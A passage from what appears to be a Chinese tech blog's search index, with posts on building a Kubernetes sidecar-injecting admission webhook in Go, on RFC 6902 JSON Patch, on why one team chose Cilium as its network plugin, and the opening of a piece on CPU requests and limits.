示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"1. 确保 k8s 的 api-server 开启 admission plugins 首先需要确认你的 k8s 集群支持 admission controller 。 执行 kubectl api-resources | grep admission: mutatingwebhookconfigurations admissionregistration.k8s.io/v1 false MutatingWebhookConfiguration validatingwebhookconfigurations admissionregistration.k8s.io/v1 false ValidatingWebhookConfiguration 得到以上结果就说明你的 k8s 集群支持 admission controller。 然后需要确认 api-server 开启 admission plugins,根据你的 api-server 的启动方式,确认如下参数: --enable-admission-plugins=MutatingAdmissionWebhook,ValidatingAdmissionWebhook plugins 可以有多个,用逗号分隔,本示例其实只需要 MutatingAdmissionWebhook,至于其它的 plugins 用途请参考官方文档。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:1","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"2. 准备 TLS/SSL 证书 这里我们使用自签的证书,先创建一个证书目录,比如 ~/certs,以下操作都在这个目录下进行。 创建我们自己的 root CA openssl genrsa -des3 -out rootCA.key 4096 openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 1024 -out rootCA.crt 创建证书 openssl genrsa -out mylocal.com.key 2048 openssl req -new -key mylocal.com.key -out mylocal.com.csr 使用我们自己的 root CA 去签我们的证书 注意:由于我们会把 HTTPS server 部署在本地进行测试,所以我们在签名的时候要额外指定自己的内网IP。 echo subjectAltName = IP:192.168.100.22 \u003e extfile.cnf openssl x509 -req -in mylocal.com.csr \\ -CA rootCA.crt -CAkey rootCA.key \\ -CAcreateserial -out mylocal.com.crt \\ -days 500 -extfile extfile.cnf 执行完后你会得到以下文件: rootCA.key:根 CA 私钥 rootCA.crt:根 CA 证书(后面 k8s 需要用到) rootCA.srl:追踪发放的证书 mylocal.com.key:自签域名的私钥(HTTPS server 需要用到) mylocal.com.csr:自签域名的证书签名请求文件 mylocal.com.crt:自签域名的证书(HTTPS server 需要用到) ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:2","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"3. 构建自己的 HTTPS Server Webhook 的请求和响应都要是 JSON 格式的 AdmissionReview 对象。 注意:AdmissionReview v1 版本和 v1beta1 版本有区别,我们这里使用 v1 版本。 // AdmissionReview describes an admission review request/response. type AdmissionReview struct { metav1.TypeMeta `json:\",inline\"` // Request describes the attributes for the admission request. // +optional Request *AdmissionRequest `json:\"request,omitempty\" protobuf:\"bytes,1,opt,name=request\"` // Response describes the attributes for the admission response. // +optional Response *AdmissionResponse `json:\"response,omitempty\" protobuf:\"bytes,2,opt,name=response\"` } 我们需要处理的逻辑其实就是解析 AdmissionRequest,然后构造 AdmissionResponse 最后返回响应。 // AdmissionResponse describes an admission response. type AdmissionResponse struct { // UID is an identifier for the individual request/response. // This must be copied over from the corresponding AdmissionRequest. UID types.UID `json:\"uid\" protobuf:\"bytes,1,opt,name=uid\"` // Allowed indicates whether or not the admission request was permitted. Allowed bool `json:\"allowed\" protobuf:\"varint,2,opt,name=allowed\"` // The patch body. Currently we only support \"JSONPatch\" which implements RFC 6902. // +optional Patch []byte `json:\"patch,omitempty\" protobuf:\"bytes,4,opt,name=patch\"` // The type of Patch. Currently we only allow \"JSONPatch\". // +optional PatchType *PatchType `json:\"patchType,omitempty\" protobuf:\"bytes,5,opt,name=patchType\"` // ... } AdmissionResponse 中的 PatchType 字段必须是 JSONPatch,Patch 字段必须是 rfc6902 JSON Patch 格式。 我们使用 go 编写一个最简单的 HTTPS Server 示例如下,该示例会修改 pod 的 spec.containers 数组,向其中追加一个 sidecar 容器: package main import ( \"encoding/json\" \"log\" \"net/http\" v1 \"k8s.io/api/admission/v1\" corev1 \"k8s.io/api/core/v1\" ) // patchOperation is an operation of a JSON patch, see https://tools.ietf.org/html/rfc6902 . type patchOperation struct { Op string `json:\"op\"` Path string `json:\"path\"` Value interface{} `json:\"value,omitempty\"` } var ( certFile = \"/Users/wy/certs/mylocal.com.crt\" keyFile = \"/Users/wy/certs/mylocal.com.key\" ) func main() { http.HandleFunc(\"/\", func(w http.ResponseWriter, req *http.Request) { defer req.Body.Close() var admissionReview v1.AdmissionReview err := json.NewDecoder(req.Body).Decode(\u0026admissionReview) if err != nil { log.Fatal(err) } var patches []patchOperation patches = append(patches, patchOperation{ Op: \"add\", Path: \"/spec/containers/-\", Value: \u0026corev1.Container{ Image: \"busybox\", Name: \"sidecar\", }, }) patchBytes, err := json.Marshal(patches) if err != nil { log.Fatal(err) } var PatchTypeJSONPatch v1.PatchType = \"JSONPatch\" admissionReview.Response = \u0026v1.AdmissionResponse{ UID: admissionReview.Request.UID, Allowed: true, Patch: patchBytes, PatchType: \u0026PatchTypeJSONPatch, } // Return the AdmissionReview with a response as JSON. bytes, err := json.Marshal(\u0026admissionReview) if err != nil { log.Fatal(err) } w.Write(bytes) }) log.Printf(\"About to listen on 8443. Go to https://127.0.0.1:8443/\") err := http.ListenAndServeTLS(\":8443\", certFile, keyFile, nil) log.Fatal(err) } ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:3","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"4. 配置 MutatingWebhookConfiguration 我们需要告诉 k8s 往哪里发送请求以及其它信息,这就需要配置 MutatingWebhookConfiguration。 apiVersion: admissionregistration.k8s.io/v1 kind: MutatingWebhookConfiguration metadata: name: test-sidecar-injector webhooks: - name: sidecar-injector.mytest.io admissionReviewVersions: - v1 # 版本一定要与 HTTPS Server 处理的版本一致 sideEffects: \"NoneOnDryRun\" reinvocationPolicy: \"Never\" timeoutSeconds: 30 objectSelector: # 选择特定资源触发 webhook matchExpressions: - key: run operator: In values: - \"nginx\" rules: # 触发规则 - apiGroups: - \"\" apiVersions: - v1 operations: - CREATE resources: - pods scope: \"*\" clientConfig: caBundle: ${CA_PEM_B64} url: https://192.168.100.22:8443/ # 指向我本地的IP地址 # service: # 如果把 server 部署到集群内部则可以通过 service 引用 其中的 ${CA_PEM_B64} 需要填入第一步的 rootCA.crt 文件的 base64 编码,我们可以执行以下命令得到: openssl base64 -A -in rootCA.crt 在上例中,我们还配置了 webhook 触发的资源要求和规则,比如这里的规则是创建 pods 并且 pod 的 labels 标签必须满足 matchExpressions 。 最后测试,我们可以执行 kubectl run nginx --image=nginx,成功之后再查看提交的 pod ,你会发现 containers 中包含有我们注入的 sidecar 。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:2:4","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Kubernetes"],"content":"结语 通过本文相信你已经了解了 Admission Controller 的基本使用过程,诸多开源框架,比如 Istio 等也广泛地使用了 Admission Controller。 ","date":"2023-04-16","objectID":"/k8s-admission-controller-sidacar-example/:3:0","tags":["Kubernetes"],"title":"Kubernetes Admission Controller 简介 - 注入 sidacar 示例","uri":"/k8s-admission-controller-sidacar-example/"},{"categories":["Uncate"],"content":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","date":"2023-04-07","objectID":"/rfc6902-json-patch/","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"引言 你一定知道 JSON 吧,那专门用于修改 JSON 内容的 JSON PATCH 标准你是否知道呢? RFC 6902 就定义了这么一种 JSON PATCH 标准,本文将对其进行介绍。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:1:0","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"JSON PATCH JSON Patch 本身也是一种 JSON 文档结构,用于表示要应用于 JSON 文档的操作序列;它适用于 HTTP PATCH 方法,其 MIME 媒体类型为 \"application/json-patch+json\"。 这句话也许不太好理解,我们先看一个例子: PATCH /my/data HTTP/1.1 Host: example.org Content-Length: 326 Content-Type: application/json-patch+json If-Match: \"abc123\" [ { \"op\": \"test\", \"path\": \"/a/b/c\", \"value\": \"foo\" }, { \"op\": \"remove\", \"path\": \"/a/b/c\" }, { \"op\": \"add\", \"path\": \"/a/b/c\", \"value\": [ \"foo\", \"bar\" ] }, { \"op\": \"replace\", \"path\": \"/a/b/c\", \"value\": 42 }, { \"op\": \"move\", \"from\": \"/a/b/c\", \"path\": \"/a/b/d\" }, { \"op\": \"copy\", \"from\": \"/a/b/d\", \"path\": \"/a/b/e\" } ] 这个 HTTP 请求的 body 也是 JSON 格式(JSON PATCH 本身也是一种 JSON 结构),但是这个 JSON 格式是有具体规范的(只能按照标准去定义要应用于 JSON 文档的操作序列)。 具体而言,JSON Patch 的数据结构就是一个 JSON 对象数组,其中每个对象必须声明 op 去定义将要执行的操作,根据 op 操作的不同,需要对应另外声明 path、value 或 from 字段。 再例如, 原始 JSON : { \"a\": \"aaa\", \"b\": \"bbb\" } 应用如下 JSON PATCH : [ { \"op\": \"replace\", \"path\": \"/a\", \"value\": \"111\" }, { \"op\": \"remove\", \"path\": \"/b\" } ] 得到的结果为: { \"a\": \"111\" } 需要注意的是: patch 对象中的属性没有顺序要求,比如 { \"op\": \"remove\", \"path\": \"/b\" } 与 { \"path\": \"/b\", \"op\": \"remove\" } 是完全等价的。 patch 对象的执行是按照数组顺序执行的,比如上例中先执行了 replace,然后再执行 remove。 patch 操作是原子的,即使我们声明了多个操作,但最终的结果是要么全部成功,要么保持原数据不变,不存在局部变更。也就是说如果多个操作中的某个操作异常失败了,那么原数据就不变。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:2:0","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"op op 只能是以下操作之一: add remove replace move copy test 这些操作我相信不用做任何说明你就能理解其具体的含义,唯一要说明的可能就是 test,test 操作其实就是检查 path 位置的值与 value 的值“相等”。 add add 操作会根据 path 定义去执行不同的操作: 如果 path 是一个数组 index ,那么新的 value 值会被插入到执行位置。 如果 path 是一个不存在的对象成员,那么新的对象成员会被添加到该对象中。 如果 path 是一个已经存在的对象成员,那么该对象成员的值会被 value 所替换。 add 操作必须另外声明 path 和 value。 path 目标位置必须是以下之一: 目标文档的根 - 如果 path 指向的是根,那么 value 值就将是整个文档的内容。 一个已存在对象的成员 - 应用后 value 将会被添加到指定位置,如果成员已存在则其值会被替换。 一个已存在数组的元素 - 应用后 value 值会被添加到数组中的指定位置,任何在指定索引位置或之上的元素都会向右移动一个位置。指定的索引不能大于数组中元素的数量。可以使用 - 字符来索引数组的末尾。 由于此操作旨在添加到现有对象和数组中,因此其目标位置通常不存在。尽管指针的错误处理算法将被调用,但本规范定义了 add 指针的错误处理行为,以忽略该错误并按照指定方式添加值。 然而,对象本身或包含它的数组确实需要存在,并且如果不是这种情况,则仍然会出错。 例如,对数据 { \"a\": { \"foo\": 1 } } 执行 add 操作,path 为 “/a/b” 时不是错误。但如果对数据 { \"q\": { \"bar\": 2 } } 执行同样的操作则是一种错误,因为 “a” 不存在。 示例: add 一个对象成员 # 源数据: { \"foo\": \"bar\"} # JSON Patch: [ { \"op\": \"add\", \"path\": \"/baz\", \"value\": \"qux\" } ] # 结果: { \"baz\": \"qux\", \"foo\": \"bar\" } add 一个数组元素 # 源数据: { \"foo\": [ \"bar\", \"baz\" ] } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/foo/1\", \"value\": \"qux\" } ] # 结果: { \"foo\": [ \"bar\", \"qux\", \"baz\" ] } add 一个嵌套成员对象 # 源数据: { \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/child\", \"value\": { \"grandchild\": { } } } ] # 结果: { \"foo\": \"bar\", \"child\": { \"grandchild\": {} } } 忽略未识别的元素 # 源数据: { \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/baz\", \"value\": \"qux\", \"xyz\": 123 } ] # 结果: { \"foo\": \"bar\", \"baz\": \"qux\" } add 到一个不存在的目标失败 # 源数据: { \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/baz/bat\", \"value\": \"qux\" } ] # 失败,因为操作的目标位置既不引用文档根,也不引用现有对象的成员,也不引用现有数组的成员。 add 一个数组 # 源数据: { \"foo\": [\"bar\"] } # JSON Patch: [ { \"op\": \"add\", \"path\": \"/foo/-\", \"value\": [\"abc\", \"def\"] } ] # 结果: { \"foo\": [\"bar\", [\"abc\", \"def\"]] } remove remove 将会删除 path 目标位置上的值,如果 path 指向的是一个数组 index ,那么右侧其余值都将左移。 示例: remove 一个对象成员 # 源数据: { \"baz\": \"qux\", \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"remove\", \"path\": \"/baz\" } ] # 结果: { \"foo\": \"bar\" } remove 一个数组元素 # 源数据: { \"foo\": [ \"bar\", \"qux\", \"baz\" ] } # JSON Patch: [ { \"op\": \"remove\", \"path\": \"/foo/1\" } ] # 结果: { \"foo\": [ \"bar\", \"baz\" ] } replace replace 操作会将 path 目标位置上的值替换为 value。此操作与 remove 后 add 同样的 path 在功能上是相同的。 示例: replace 某个值 # 源数据: { \"baz\": \"qux\", \"foo\": \"bar\" } # JSON Patch: [ { \"op\": \"replace\", \"path\": \"/baz\", \"value\": \"boo\" } ] # 结果: { \"baz\": \"boo\", \"foo\": \"bar\" } move move 操作将 from 位置的值移动到 path 位置。from 位置不能是 path 位置的前缀,也就是说,一个位置不能被移动到它的子级中。 示例: move 某个值 # 源数据: { \"foo\": { \"bar\": \"baz\", \"waldo\": \"fred\" }, \"qux\": { \"corge\": \"grault\" } } # JSON Patch: [ { \"op\": \"move\", \"from\": \"/foo/waldo\", \"path\": \"/qux/thud\" } ] # 结果: { \"foo\": { \"bar\": \"baz\" }, \"qux\": { \"corge\": \"grault\", \"thud\": \"fred\" } } move 一个数组元素 # 源数据: { \"foo\": [ \"all\", \"grass\", \"cows\", \"eat\" ] } # JSON Patch: [ { \"op\": \"move\", \"from\": \"/foo/1\", \"path\": \"/foo/3\" } ] # 结果: { \"foo\": [ \"all\", \"cows\", \"eat\", \"grass\" ] } copy copy 操作将 from 位置的值复制到 path 位置。 test test 操作会检查 path 位置的值是否与 value “相等”。 这里,“相等”意味着 path 位置的值和 value 的值是相同的JSON类型,并且它们遵循以下规则: 字符串:如果它们包含相同数量的 Unicode 字符并且它们的码点是逐字节相等,则被视为相等。 数字:如果它们的值在数值上是相等的,则被视为相等。 数组:如果它们包含相同数量的值,并且每个值可以使用此类型特定规则将其视为与另一个数组中对应位置处的值相等,则被视为相等。 对象:如果它们包含相同数量​​的成员,并且每个成员可以通过比较其键(作为字符串)和其值(使用此类型特定规则)来认为与其他对象中的成员相等,则被视为相等 。 文本(false,true 和 null):如果它们完全一样,则被视为相等。 请注意,所进行的比较是逻辑比较;例如,数组成员之间的空格不重要。 示例: test 某个值成功 # 源数据: { \"baz\": \"qux\", \"foo\": [ \"a\", 2, \"c\" ] } # JSON Patch: [ { \"op\": \"test\", \"path\": \"/baz\", \"value\": \"qux\" }, { \"op\": \"test\", \"path\": \"/foo/1\", \"value\": 2 } ] test 某个值错误 # 源数据: { \"baz\": \"qux\" } # JSON Patch: [ { \"op\": \"test\", \"path\": \"/baz\", \"value\": \"bar\" } ] ~ 符号转义 ~ 字符是 JSON 指针中的关键字。因此,我们需要将其编码为 〜0 # 源数据: { \"/\": 9, \"~1\": 10 } # JSON Patch: [ {\"op\": \"test\", \"path\": \"/~01\", \"value\": 10} ] # 结果: { \"/\": 9, \"~1\": 10 } 比较字符串和数字 # 源数据: { \"/\": 9, \"~1\": 10 } # JSON Patch: [ {\"op\": \"test\", \"path\": \"/~01\", \"value\": \"10\"} ] # 失败,因为不遵循上述相等的规则。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:2:1","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Uncate"],"content":"结语 使用 JSON PATCH 的原因之一其实是为了避免在只需要修改某一部分内容的时候重新发送整个文档。JSON PATCH 也早已应用在了 Kubernetes 等许多项目中。 ","date":"2023-04-07","objectID":"/rfc6902-json-patch/:3:0","tags":["RFC 标准","Kubernetes"],"title":"什么?修改 JSON 内容居然还有个 JSON PATCH 标准","uri":"/rfc6902-json-patch/"},{"categories":["Kubernetes"],"content":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","date":"2023-04-03","objectID":"/why-cilium-for-k8s/","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://blog.palark.com/why-cilium-for-kubernetes-networking/ 原文作者是 Palark 平台工程师 Anton Kuliashov,其说明了选择 Cilium 作为 Kubernetes 网络接口的原因以及喜爱 Cilium 的地方。 多亏了 CNI(容器网络接口),Kubernetes 提供了大量选项来满足您的网络需求。在多年依赖简单的解决方案之后,我们面临着对高级功能日益增长的客户需求。Cilium 将我们 K8s 平台中的网络提升到了一个新的水平。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:0:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"背景 我们为不同行业、规模和技术堆栈的公司构建和维护基础设施。他们的应用程序部署到私有云和公共云以及裸机服务器。他们对容错性、可扩展性、财务费用、安全性等方面有不同的要求。在提供我们的服务时,我们需要满足所有这些期望,同时足够高效以应对新兴的与基础设施相关的多样性。 多年前,当我们构建基于 Kubernetes 的早期平台时,我们着手实现基于可靠开源组件的生产就绪、简单、可靠的解决方案。为实现这一目标,我们的 CNI 插件的自然选择似乎是 Flannel(与 kube-proxy 一起使用)。 当时最受欢迎的选择是 Flannel 和 Weave Net。Flannel 更成熟,依赖性最小,并且易于安装。我们的基准测试也证明它的性能很高。因此,我们选择了它,并最终对我们的选择感到满意。 同时,我们坚信有一天会达到极限。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:1:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"随着需求的增长 随着时间的推移,我们获得了更多的客户、更多的 Kubernetes 集群以及对平台的更具体的要求。我们遇到了对更好的安全性、性能和可观测性的日益增长的需求。这些需求适用于各种基础设施元素,而网络显然是其中之一。最终,我们意识到是时候转向更高级的 CNI 插件了。 许多问题促使我们跳到下一阶段: 一家金融机构执行了严格的“默认禁止一切”规则。 一个广泛使用的门户网站的集群有大量的服务,这对 kube-proxy 产生了压倒性的影响。 PCI DSS 合规性要求另一个客户实施灵活而强大的网络策略管理,并在其之上具有良好的可观测性。 在 Flannel 使用的 iptables 和 netfilter 中,遇到大量传入流量的多个其他应用程序面临性能问题。 我们不能再受现有限制的阻碍,因此决定在我们的 Kubernetes 平台中寻找另一个 CNI —— 一个可以应对所有新挑战的 CNI。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:2:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"为什么选择 Cilium 今天有很多可用的 CNI 选项。我们想坚持使用 eBPF,它被证明是一项强大的技术,在可观测性、安全性等方面提供了许多好处。考虑到这一点,当您想到 CNI 插件时,会出现两个著名的项目:Cilium 和 Calico。 总的来说,他们两个都非常棒。但是,我们仍然需要选择其中之一。Cilium 似乎在社区中得到了更广泛的使用和讨论:更好的 GitHub 统计数据(例如 stars、forks 和 contributors)可以作为证明其价值的某种论据。它也是一个 CNCF 项目。虽然它不能保证太多,但这仍然是一个有效的观点,所有事情都是平等的。 在阅读了关于 Cilium 的各种文章后,我们决定尝试一下,并在几个不同的 K8s 集群上进行了各种测试。事实证明,这是一次纯粹的积极体验,揭示了比我们预期更多的功能和好处。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:3:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"我们喜欢的 Cilium 的主要功能 在考虑是否使用 Cilium 来解决我们遇到的上述问题时,我们喜欢 Cilium 的地方如下: ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"1. 性能 使用 bpfilter(而不是 iptables)进行路由意味着将过滤任务转移到内核空间,这会产生令人印象深刻的性能提升。这正是项目设计、大量文章和第三方基准测试所承诺的。我们自己的测试证实,与我们之前使用的 Flannel + kube-proxy 相比,处理流量速度有显着提升。 eBPF host-routing compared to using iptables. source: “CNI Benchmark: Understanding Cilium Network Performance” 有关此主题的有用资料包括: Why is the kernel community replacing iptables with BPF? BPF, eBPF, XDP and Bpfilter… What are These Things and What do They Mean for the Enterprise? kube-proxy Hybrid Modes ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:1","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"2. 更好的网络策略 CiliumNetworkPolicy CRD 扩展了 Kubernetes NetworkPolicy API。它带来了 L7(而不仅仅是 L3/L4)网络策略支持网络策略中的 ingress 和 egress 以及 port ranges 规范等功能。 正如 Cilium 开发人员所说:“理想情况下,所有功能都将合并到标准资源格式中,并且不再需要此 CRD。” ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:2","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"3. 节点间流量控制 借助 CiliumClusterwideNetworkPolicy ,您可以控制节点间流量。这些策略适用于整个集群(非命名空间),并为您提供将节点指定为源和目标的方法。它使过滤不同节点组之间的流量变得方便。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:3","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"4. 策略执行模式 易于使用的 策略执行模式 让生活变得更加轻松。 default 模式适合大多数情况:没有初始限制,但一旦允许某些内容,其余所有内容都会受到限制*。Always 模式 —— 当对所有端点执行策略时 —— 对于具有更高安全要求的环境很有帮助。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:4","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"5. Hubble 及其 UI Hubble 是一个真正出色的网络和服务可观测性以及视觉渲染工具。具体来说,就是对流量进行监控,实时更新服务交互图。您可以轻松查看正在处理的请求、相关 IP、如何应用网络策略等。 现在举几个例子,说明如何在我的 Kubernetes 沙箱中使用 Hubble。首先,这里我们有带有 Ingress-NGINX 控制器的命名空间。我们可以看到一个外部用户通过 Dex 授权后进入了 Hubble UI。会是谁呢?… 现在,这里有一个更有趣的例子:Hubble 花了大约一分钟的时间可视化 Prometheus 命名空间如何与集群的其余部分通信。您可以看到 Prometheus 从众多服务中抓取了指标。多么棒的功能!在您花费数小时为您的项目绘制所有这些基础架构图之前,您应该已经知道了! ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:5","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"6. 可视化策略编辑器 此在线服务 提供易于使用、鼠标友好的 UI 来创建规则并获取相应的 YAML 配置以应用它们。我在这里唯一需要抱怨的是缺少对现有配置进行反向可视化的功能。 再此说明,这个列表远非完整的 Cilium 功能集。这只是我根据我们的需要和我们最感兴趣的内容做出的有偏见的选择。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:4:6","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"Cilium 为我们做了什么 让我们回顾一下我们的客户遇到的具体问题,这些问题促使我们开始对在 Kubernetes 平台中使用 Cilium 产生兴趣。 第一种情况下的“默认禁止一切”规则是使用上述策略执行方式实现的。通常,我们会通过指定此特定环境中允许的内容的完整列表并禁止其他所有内容来依赖 default 模式。 以下是一些可能对其他人有帮助的相当简单的策略示例。您很可能会有几十个或数百个这样的策略。 允许任何 Pod 访问 Istio 端点: apiVersion: cilium.io/v2 kind: CiliumClusterwideNetworkPolicy metadata: name: all-pods-to-istio-internal-access spec: egress: - toEndpoints: - matchLabels: k8s:io.kubernetes.pod.namespace: infra-istio toPorts: - ports: - port: \"8443\" protocol: TCP endpointSelector: {} 允许给定命名空间内的所有流量: apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: allow-ingress-egress-within-namespace spec: egress: - toEndpoints: - {} endpointSelector: {} ingress: - fromEndpoints: - {} 允许 VictoriaMetrics 抓取给定命名空间中的所有 Pod: apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: name: vmagent-allow-desired-namespace spec: egress: - toEndpoints: - matchLabels: k8s:io.kubernetes.pod.namespace: desired-namespace endpointSelector: matchLabels: k8s:io.cilium.k8s.policy.serviceaccount: victoria-metrics-agent-usr k8s:io.kubernetes.pod.namespace: vmagent-system 允许 Kubernetes Metrics Server 访问 kubelet 端口: apiVersion: cilium.io/v2 kind: CiliumClusterwideNetworkPolicy metadata: name: host-firewall-allow-metrics-server-to-kubelet spec: ingress: - fromEndpoints: - matchLabels: k8s:io.cilium.k8s.policy.serviceaccount: metrics-server k8s:io.kubernetes.pod.namespace: my-metrics-namespace toPorts: - ports: - port: \"10250\" protocol: TCP nodeSelector: matchLabels: {} 至于其他问题,我们最初遇到的挑战是: 案例 #2 和 #4,由于基于 iptables 的网络堆栈性能不佳。我们提到的基准和我们执行的测试在实际操作中证明了自己。 Hubble 提供了足够水平的可观测性,这在案例 #3 中是必需的。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:5:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"下一步是什么? 总结这次经验,我们成功解决了与 Kubernetes 网络相关的所有痛点。 关于 Cilium 的总体未来,我们能说些什么?虽然它目前是一个孵化的 CNCF 项目,但它已于去年年底申请毕业。这需要一些时间才能完成,但这个项目正朝着一个非常明确的方向前进。最近,在 2023 年 2 月,Cilium 宣布 通过了两次安全审计,这是进一步毕业的重要一步。 我们正在关注该项目的路线图,并等待一些功能和相关工具的实施或变得足够成熟。(没错,Tetragon 将会很棒!) 例如,虽然我们在高流量集群中使用 Kubernetes EndpointSlice CRD,但相关的Cilium 功能 目前处于 beta 阶段 —— 因此,我们正在等待其稳定发布。我们正在等待稳定的另一个测试版功能是 本地重定向策略,它将 Pod 流量本地重定向到节点内的另一个后端 Pod,而不是整个集群内的随机后端 Pod。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:6:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"后记 在生产环境中确定了我们新的网络基础设施并评估了它的性能和新功能之后,我们很高兴决定采用 Cilium,因为它的好处是显而易见的。对于多样化且不断变化的云原生世界来说,这可能不是灵丹妙药,而且绝不是最容易上手的技术。然而,如果你有动力、知识和一点冒险欲望,那么它 100% 值得尝试,而且很可能会得到多方面的回报。 ","date":"2023-04-03","objectID":"/why-cilium-for-k8s/:7:0","tags":["Kubernetes","CNI","Cilium"],"title":"我们为何选择 Cilium 作为 Kubernetes 的网络接口","uri":"/why-cilium-for-k8s/"},{"categories":["Kubernetes"],"content":"在 Kubernetes 中应该如何设置 CPU 的 requests 和 limits","date":"2023-03-31","objectID":"/k8s-cpu-request-limit/","tags":["Kubernetes"],"title":"在 Kubernetes 中应该如何设置 CPU 的 requests 和 limits","uri":"/k8s-cpu-request-limit/"},{"categories":["Kubernetes"],"content":" 文本翻译自: https://itnext.io/cpu-limits-and-requests-in-kubernetes-fa9d55948b7c 在 Kubernetes 中,我应该如何设置 CPU 的 requests 和 limits? 热门答案包括: 始终使用 limits ! 永远不要使用 limits,只使用 requests ! 都不用;可以吗? 让我们深入研究它。 在 Kubernetes 中,您有两种方法来指定一个 pod 可以使用多少 CPU: Requests 通常用于确定平均消耗。 Limits 设置允许的最大资源数。 Kubernetes 调度器使用 requests 来确定 pod 应该分配到集群中的哪个节点。 由于调度器并不知道实际消耗(pod 尚未启动),它需要一个提示。 但它并没有就此结束。 CPU requests 还用于将同一个节点上的 CPU 资源如何分配给不同的容器。 让我们看一个例子: 一个节点只有一个 CPU。 容器 A requests 0.1 个 vCPU。 容器 B requests 0.2 个 